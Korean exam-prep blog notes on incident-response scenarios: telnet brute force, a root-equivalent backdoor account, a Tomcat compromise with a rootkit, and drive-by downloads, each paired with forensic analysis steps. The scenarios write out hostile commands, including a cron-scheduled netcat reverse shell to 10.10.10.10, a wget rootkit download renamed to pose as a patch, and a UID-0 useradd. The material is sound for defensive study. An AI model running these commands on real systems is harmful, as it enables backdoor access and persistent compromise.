공격 시나리오
가) 내부 침입자는 루트root 계정에 대한 패스워드를 탈취하기 위해 telnet 무작위 대입 공격 / 사전 대입 공격을 수행한다.
나) 내부 침입자는 루트 계정을 이용해 telnet 원격 로그인 후, 루트 권한의 일반 사용자 계정 생성
( useradd -o -u 0 -g 0 -d /root attackid
-o : 중복허용
-u : uid 지정
-g : gid 지정
-d : 홈 디렉터리 지정)
(원격에서 로그인한 인증정보
=> /var/log/secure
원격에서 접속한 접속정보
=> /var/log/messages)
다) 공격자는 외부에서도 지속적으로 접근하기 위해 nc 프로그램을 이용한 리버스 쉘 명령을 cron 테이블에 등록
(cron 테이블 : /etc/crontab)
cron tab 등록 형식
30 2 * * * root /usr/bin/nc 10.10.10.10 80 -e /bin/bash
| | | | | | |실행작업 (nc는 절대경로로 기재)
| | | | | |계정
| | | | |요일(0~6, *는 모든요일)
| | | | 월(1~12, *는 매월)
| | | 일 (1~31, *는 매일)
| | 시(0~23)
|분 (0~59)
(분시일월요일계정작업)
라) 외부 공격자는 쉘을 주기적으로 획득해 추가적으로 공격 명령 실행
분석 시나리오
가) 관리자는 /var/log/secure와 /var/log/messages 로그파일에서 허용하지 않는 루트 계정의 원격 접속 기록을 확인
예시 : (/var/log/secure) ROOT LOGIN ON pts/3 FROM 192.168.11.1
예시 : (/var/log/messages) 무작위 대입 공격/사전대입 공격을 시도한 EXIT와 START가 반복됨
=> 원격 터미널로 192.168.11.1 ip가 root 로그인 (tty라면 서버에 직접 연결된 콘솔을 의미)
나) 관리자는 루트 계정의 명령어 실행 내역을 확인하기 위해, 루트 계정의 명령어 실행 내역을 기록하고 있는 .bash_history 로그 파일을 분석 (각 계정별로 홈 디렉터리에 있음)
예시)
useradd -o -u 0 -g 0 -d /root attackid
id attackid
vi /etc/crontab
quit
(물론 실제로는 공격자가 .bash_history를 지우는 경우가 많음)
다) 공격자가 /etc/crontab 파일을 조작한 것으로 의심하여 분석하고 리버스 쉘 생성 작업이 등록된 것을 확인
라) 관리자는 현재 공격자가 리버스 쉘을 연결하고 있는지 여부를 확인하기 위해 netstat 명령으로 현재 공격자와 bash 쉘이 연결되어 있는 것을 확인
(ex netstat -antp | grep 공격자 ip
tcp 0 0 192.168.0.00:48000 10.10.10.10:80 ESTABLISHED 4045/bash
옵션
-a : 모든 연결
-n : 숫자형식
-t : tcp 소켓
-p : pid명 표기 )
침해사고 유형별 시나리오 2 END --
루트킷Rootkit 침해 사고 시나리오
개요
- 웹서버 취약점 스캔을 통해 tomcat 웹서버 관리자 페이지가 외부에 노출되어 있고, default 계정 상태로 사용하고 있는 것을 확인 (희생자 서버는 인바운드 80, 8080 tcp 포트를 열고 있다)
- 공격자는 취약점을 익스플로잇하여 쉘 코드를 실행, 리버스 쉘을 연결한다
- 리버스 쉘을 이용해 공격 행위 은닉을 위한 루트킷을 웹서버에 설치한 후, 지속적으로 외부에서 접근할 수 있도록 netcat 프로그램을 이용해 공격자와 리버스 쉘 연결 작업을 cron 테이블에 등록
- 공격자는 외부에서 주기적으로 리버스 쉘을 연결해 웹서버에 공격명령 수행
( 루트킷Rootkit
- 자신의 존재를 은닉하면서 루트권한을 탈취하거나 백도어 등의 기능을 수행하는 코드의 집합 또는 프로그램)
관련지식
가) 익스플로잇Exploit
- 소프트웨어나 하드웨어의 버그 또는 취약점을 이용해 공격자가 의도한 동작이나 명령을 실행하도록 하는 코드 또는 행위
- 익스플로잇에 성공하면 프로그램 실행 제어권을 획득하고, 공격자가 의도한 명령을 담고 있는 코드를 실행함. 이를 쉘 코드라고 한다
나) 쉘 코드Shell Code
- 쉘: 원하는 명령을 해석해서 처리해주는 명령어 해석기
- 좁은의미 : 쉘을 실행시키는 코드
- 넓은의미 : 쉘을 실행시키는 것뿐만이 아니라, 공격자가 원하는 작업을 수행하는 다양한 형태의 코드
다) 동작방식 (예시 : 버퍼 오버플로우 익스플로잇)
1) 버퍼 오버플로우를 유발시키는 익스플로잇 코드 실행
2) 스택의 버퍼에 다수의 NOP 명령과 쉘 코드가 삽입됨
- NOP : 아무 기능도 수행하지 않는 명령어 (0x90)
- NOP 명령은 빈 공간을 채우기 위한 명령어로, 아무 동작 없이 다음으로 넘어간다
- Return Address가 쉘 코드 주소를 정확히 가리켜야 하는데, 정확한 주소를 알기 어려움. 실행 확률을 높이기 위해 다수의 NOP 명령을 삽입. (NOP Sled)
3) 버퍼 오버플로우를 통해 쉘 코드가 실행됨
(CPU가 처리하는 최소단위 : Instruction)
관련지식 [취약점 정보 분류 체계]
1) CVE (Common Vulnerabilities and Exposure)
- 공개적으로 알려진 소프트웨어의 보안취약점을 표준화한 식별자 목록
- MITRE에서 1999년 처음 만들어 운영을 시작
- 서로 취약한 취약점 정보가 관련 기관 및 보안업계간 상이하게 분류되는 혼선을 방지하기 위한 공통의 유일한 명칭
( 사이트 : cve.mitre.org )
2) CWE (Common Weakness Enumeration)
- 공통적으로 발생하는 약점을 체계적으로 분류한 목록 제공
- 보안약점 : 공격에 잠재적으로 활용될 수 있는 결함, 오류
- 보안 취약점 : 실제 보안 사고에 이용되는 보안 약점이나 시스템상의 보안 허점
- 소프트웨어 약점은 SDLC 과정에서 발생할 수 있어 설계, 아키텍처, 코드 단계 등에 대한 약점을 포함함
( SDLC : 소프트웨어 개발 생명 주기 )
- CWE/SANS TOP 25
침해사고 3 END --
공격 시나리오
가) 공격자는 웹서버의 Tomcat 관리자 페이지가 외부에 노출되어 있으며, 아이디와 패스워드를 초기설치상태로 사용하고 있는 것을 알아냄
나) 공격자는 취약점을 익스플로잇Exploit하여 백도어 기능을 수행하는 쉘 코드를 실행, 리버스 쉘을 연결한다
다) 공격자는 리버스 쉘을 이용해 추가 공격 행위 은닉을 위한 루트킷을 웹서버에 설치한 후, 지속적으로 외부에서 접근할 수 있도록 netcat 프로그램을 이용해 공격자와 리버스 쉘 연결 작업을 cron 테이블에 등록
1. ex wget http://10.10.10.10/attack_rootkit.tar.gz
//임시 디렉토리인 /tmp나 /var/tmp에 wget으로 url 기반 루트킷 다운로드 wget 다운로드url -O /var/tmp/patch.gz 이런식으로 이름을 바꿔서 다운로드 가능.
2. ex mv /var/tmp/attack_rootkit.tar.gz apache2.2.15-patch.tar.gz //mv 기능으로 패치파일인척 이름변경
3. ex tar zxvf apache2.2.15-patch.tar.gz
=> gzip으로 압축된 파일(f)을 해제하면(z) 아카이브 파일이 생성되고 아카이브 파일을 현재 디렉터리에 해제(x)한다. v옵션은 진행상황을 화면에 보여줌
4. crontab 형식 : 분 시 일 월 요일 계정명 할 행위. crontab을 vi로 열 수도 있지만, echo로 "cron 내용" >> /etc/crontab 하여 append 할 수 있다
라) 공격자는 외부에서 주기적으로 리버스 쉘을 연결해 웹서버에 공격명령 수행
분석 시나리오
가) tomcat 웹서버 액세스 로그(ex Nikto) 분석 중, 외부로부터 취약점 스캔이 발생했으며, 관리자 페이지에 정상응답(200 ok)된 사실 확인
- 동일 클라이언트에서 다량의 스캔 패킷을 생성하여 요청된 내용
- 자동화된 취약점 스캐너는 많은 트래픽 노이즈를 발생시킴. 침입탐지/차단 시스템에 탐지될 확률이 높음
( Nikto 필드 복습
요청클라이언트ip / 날짜시간 / 요청라인(메소드, URI, 버전) / 응답코드 / 응답바이트수 / 리퍼러 / 유저 에이전트 정보 )
(주요 응답 상태코드 복습
400 : 요청 헤더 오류 등 잘못된 요청
401 : 인증이 필요한 페이지에 인증 없이 접근
403 : 접근 권한 없음
404 : 해당 페이지 없음)
나) 관리자는 공격자가 업로드 기능을 이용해 악성코드를 유포했을 가능성이 있다고 판단하여, 루트킷 탐지도구로 점검
1) chkrootkit -q
결과 : netstat INFECTED, 11 process hidden for ps command ...
2) find /bin/ -type f -mtime -10 | xargs ls -l
=> 10일 이내(미만) 수정된 실행파일이 있는지 여부를 find 명령으로 확인 (chkrootkit으로 점검했을 때 나왔던 netstat와 ps 관련 폴더가 결과로 나옴)
3) rpm -qf /bin/netstat /bin/ps
rpm -V net-tools procps
=> -qf로 두 명령어의 패키지명을 알아내서, -V 옵션으로 무결성체크
다) 관리자는 변조된 명령어 재설치중 오류 발생
(--force 명령어 등)
1) lsattr 명령어로 속성 정보 확인 (i 변경 불가능)
2) chattr 명령어로 속성 정보에서 -i
3) 패키지 재설치 후, ps와 netstat 명령을 실행하면 이전에 보이지 않았던 nc 프로세스와 외부 공격자와의 리버스 쉘이 연결된 것을 확인
라) 관리자는 추가 공격 흔적을 확인하기 위해 로그 분석을 하여 cron 로그(/var/log/cron)에서 nc 프로그램 동작 확인
예시 Mar 6 03:00:00 Fedorall CROND [11142]: (root) CMD (/usr/bin/nc 10.10.10.10 443 -e /bin/bash) |
=> 로그의 의미 : 3월 6일 새벽 3시에 root 권한으로 nc 프로그램이 동작하여 공격자 호스트와 리버스 쉘(/bin/bash)을 연결하였다.
마) /etc/crontab을 확인하여 작업이 등록된 것을 확인
바) lsof (list open file) 프로그램을 이용한 정보 수집
lsof : 시스템에서 동작하는 모든 프로세스들에 의해 오픈된 파일 정보를 보여주는 프로그램
(-p 옵션 : pid 기준, -u 옵션 : USER 기준, -i 옵션 : 소켓 파일을 오픈하는 프로세스 확인)
es lsof -p 162 (pid 162 기준으로 프로세스 출력)
ex lsof -i:10.10.10.10:443 (10.10.10.10:443 ip주소와 연결된 프로세스 정보 출력)
ex lsof -i:8080 (8080 포트와 연결된 프로세스 정보 출력)
침해사고 4 END --
DBD (Drive By Download) 침해사고
- 공격자는 서버 해킹 및 악성스크립트 삽입 (ex <iframe>)
- 희생자가 해킹된 서버(경유지)의 페이지에 접속하면, 해킹된 서버2(중계지)의 특정 url로 리다이렉트 되고, 거기서 다시 악성사이트(유포지)에 리다이렉트되어 악성코드가 설치된다. (이 과정은 희생자가 눈치채지 못하게 진행됨)
DBD 관련지식 이해하기
개요
1) 다운로드로 유도하는 공격
2) 사용자 pc의 취약점을 익스플로잇하는 악성 스크립트와 악성코드를 은닉시키고, 취약한 pc 사용자가 홈페이지에 접속할 경우 사용자의 의도와는 무관하게 악성코드가 다운로드 되어 설치되는 공격 기법
3) 일반적으로 난독화된 악성 스크립트와 다수의 경유지/중계지를 거쳐 최종 유포지로 접속하여 악성코드를 다운로드하도록 유도함 (추적을 어렵게 하기 위함)
4) 유포 목적은 파밍형 악성코드를 통해 금융, 개인정보를 탈취하는 형태와 특정 타겟을 대상으로 악성코드를 유포하는 워터링 홀 방식의 apt 공격이 주된 목적으로 나타난다
DBD 관련 주요 용어
1) 방문 페이지 : 현재 브라우저가 보여주는 페이지
2) 경유 페이지 : 악성 스크립트가 삽입되어 있는 방문 페이지
3) 중계 페이지 : 경유지-유포지 중간의 징검다리
4) 유포 페이지 : 실제 익스플로잇 및 악성코드가 저장된 유포하는 페이지
홈페이지 유포 악성코드 탐지기술
1) 정적분석Static Analysis 기술
- 홈페이지 소스코드를 분석해 악성 스크립트 문자열을 포함하는 악성링크가 있는지 탐지하는 방식
- 알려진 탐지 패턴. 속도는 빠르지만 신종 악성코드에 대해서는 탐지하지 못함
2) 동적분석Dynamic Analysis 기술
- 가상의 pc 환경을 구성하고 다양한 취약점에 노출시킨 후 홈페이지에 접속해 비정상적인 레지스트리 변경, 악성코드 다운로드 등 악성행위를 분석하는 기법 (= 행위분석, 샌드박싱)
- 탐지 패턴을 이용하지 않으므로 신종 악성코드 탐지가 가능하나 상대적으로 분석속도가 느리다
Q. 다음 공격에 대한 설명을 보고 다음 각각의 질문에 대하여 답하시오 희생자 ① ------→ 최초 접속지 PC ② ←----- 경유지로 접속 유도 희생자 ------→ 경유지 PC ③ ←----- 여러 경유지를 자동방문후 최종 경유지에서 유포지로 연결 희생자 ------→ 유포지 PC ④ ←----- 악성 실행파일 다운로드 1) 이와 같은 공격 기법을 무엇이라 하는가? 2) 위와 같은 공격 기법을 볼 때 사용자가 실제 악성코드에 감염되는 곳은 어디인가? 3) 악성코드에 대응하기 위한 정적분석과 동적분석 방안을 설명하시오 |
A. DBD 공격 기법 (Drive By Download)
A. 유포지
A. 정적분석 기법은 점검대상 홈페이지의 소스코드에 악성코드 스크립트가 있는지 패턴을 통해 검사하는 방법이다. 동적분석 기법은 가상의 pc 환경을 구성한 뒤, 다양한 취약점에 노출시켜 악성행위를 분석하는 방법이다.
관련지식 난독화 이해하기
- 프로그램 코드를 읽기 어렵게 만드는 기술.
- 소스코드 난독화 : 소스코드를 알아보기 어렵게 만드는 기술
- 바이너리 난독화 : 컴파일 후 생성된 바이너리를 역공학을 통해 분석하기 어렵게 변조
- 공격자는 코드의 가독성을 낮춰 분석을 어렵게 하너가 패턴/시그너처 기반 보안장비의 탐지를 우회할 목적으로 이용
자바스크립트를 이용한 난독화 기술
1) 분할 난독화 : 가장 간단한 형태. 악성코드를 다수의 문자열 변수로 쪼갠 후 다시 재조합하여 출력하는 방식
2) 10진수 난독화 : 각각의 문자를 아스키코드 10진수 형식으로 인코딩하여 난독화하는 방식. 육안으로 코드 식별이 어렵고 디코딩 기능이 없는 탐지장비는 패턴 매칭이 불가능. eval 함수를 이용해 인자로 받은 문자열이 자바스크립트 코드가 맞는지 검증한 후 스크립트로 실행. 디코딩을 위해 String.fromCharCode() 메서드를 이용
3) 16진수 난독화 : 문자열 바이트 단위로 헥사값 형식으로 표현하는 퍼센트 인코딩 방식. unescape 함수로 디코딩
4) 기타 난독화 : XOR 인코딩, BASE64 인코딩 등...
침해사고 5 end --
'(실기) 정보보안기사&산업기사' 카테고리의 다른 글
침해사고 유형별 시나리오 11, 12 (0) | 2024.04.12 |
---|---|
침해사고 유형별 시나리오 6~10 (0) | 2024.04.10 |
보안장비운영 8,9 시스템 점검도구 1,2 침해사고 유형별 시나리오 1 (0) | 2024.04.08 |
보안장비운영 4~7 (0) | 2024.04.05 |
클라우드 컴퓨팅 보안 1, 보안장비운영 1~3 (0) | 2024.04.05 |